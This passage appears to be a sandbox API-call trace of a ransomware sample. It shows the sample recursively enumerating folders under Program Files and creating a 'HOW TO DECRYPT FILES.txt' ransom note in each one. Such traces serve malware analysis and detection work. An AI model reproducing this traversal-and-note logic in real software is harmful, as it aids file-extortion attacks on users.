-1 [0059.750] lstrcmpiA (lpString1="", lpString2="verisign.bmp") returned -1 [0059.750] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Services\\*.*") returned="*.*" [0059.750] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Services\\" | out: lpString1="C:\\Program Files\\Common Files\\Services\\") returned="C:\\Program Files\\Common Files\\Services\\" [0059.750] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Services\\" | out: pszPath="C:\\Program Files\\Common Files\\Services\\") returned="" [0059.750] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Services\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Services\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Services\\HOW TO DECRYPT FILES.txt" [0059.750] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Services\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\services\\how to decrypt files.txt")) returned 0xffffffff [0059.750] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Services\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\services\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0059.754] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.754] CloseHandle (hObject=0x88) returned 1 [0059.754] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Services\\", lpString2="verisign.bmp" | out: lpString1="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned="C:\\Program Files\\Common Files\\Services\\verisign.bmp" [0059.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Services\\verisign.bmp", pszSpec="*.ems") returned 0 [0059.754] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0059.754] FindClose (in: hFindFile=0x4f7080 | out: hFindFile=0x4f7080) returned 1 [0059.755] FindNextFileA (in: hFindFile=0x4f70d0, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0059.755] lstrcmpA (lpString1=".", lpString2="SpeechEngines") returned -1 [0059.755] lstrcmpA (lpString1="..", lpString2="SpeechEngines") returned -1 [0059.755] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\*.*") returned="*.*" [0059.755] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\", lpString2="SpeechEngines" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0059.755] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f83c8, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0059.755] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.755] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.755] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.755] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.755] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0059.755] lstrcmpA (lpString1=".", lpString2="Microsoft") returned -1 [0059.755] lstrcmpA (lpString1="..", lpString2="Microsoft") returned -1 [0059.755] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\*.*") returned="*.*" [0059.755] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\", lpString2="Microsoft" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" [0059.755] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.760] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.760] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.760] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.760] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.760] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0059.760] lstrcmpA (lpString1=".", lpString2="TTS20") returned -1 [0059.760] lstrcmpA (lpString1="..", lpString2="TTS20") returned -1 [0059.760] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*") returned="*.*" [0059.760] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpString2="TTS20" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0059.760] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f81e0 [0059.760] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.760] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.760] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.760] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.761] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0059.761] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0059.761] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0059.761] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*") returned="*.*" [0059.761] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="en-US" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0059.761] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fb4e8, dwReserved1=0x4fb4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0059.761] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.761] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.761] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.761] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.761] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0059.761] lstrcmpA (lpString1=".", lpString2="enu-dsk") returned -1 [0059.761] lstrcmpA (lpString1="..", lpString2="enu-dsk") returned -1 [0059.761] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*") returned="*.*" [0059.761] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpString2="enu-dsk" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0059.761] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fc4f0, dwReserved1=0x4fc4eb, cFileName=".", cAlternateFileName="")) returned 0x4f8198 [0059.761] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.761] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.762] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.762] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.762] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 0 [0059.762] FindClose (in: hFindFile=0x4f8198 | out: hFindFile=0x4f8198) returned 1 [0059.762] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x6e0065, dwReserved1=0x3, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0059.762] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.762] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSTTSFrontendENU.dll") returned -1 [0059.762] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSTTSFrontendENU.dll") returned -1 [0059.762] lstrcmpiA (lpString1="", lpString2="MSTTSFrontendENU.dll") returned -1 [0059.762] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*") returned="*.*" [0059.762] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0059.762] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="" [0059.762] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\HOW TO DECRYPT FILES.txt" [0059.762] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0059.762] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.763] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0059.763] CloseHandle (hObject=0xffffffff) returned 0 [0059.763] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpString2="MSTTSFrontendENU.dll" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" [0059.763] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0059.763] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.763] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSTTSLoc.dll.mui") returned -1 [0059.763] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSTTSLoc.dll.mui") returned -1 [0059.763] lstrcmpiA (lpString1="", lpString2="MSTTSLoc.dll.mui") returned -1 [0059.763] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll") returned="MSTTSFrontendENU.dll" [0059.763] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0059.763] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="" [0059.763] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\HOW TO DECRYPT FILES.txt" [0059.763] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0059.763] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.763] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0059.763] CloseHandle (hObject=0xffffffff) returned 0 [0059.764] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpString2="MSTTSLoc.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" [0059.764] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0059.764] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0059.764] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0059.764] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.764] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSTTSCommon.dll") returned -1 [0059.764] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSTTSCommon.dll") returned -1 [0059.764] lstrcmpiA (lpString1="", lpString2="MSTTSCommon.dll") returned -1 [0059.764] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*") returned="*.*" [0059.764] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0059.764] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: pszPath="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="" [0059.764] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt" [0059.764] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\how to decrypt files.txt")) returned 0xffffffff [0059.764] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.764] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0059.764] CloseHandle (hObject=0xffffffff) returned 0 [0059.765] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="MSTTSCommon.dll" | out: lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" [0059.765] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x4f8500, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0059.765] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 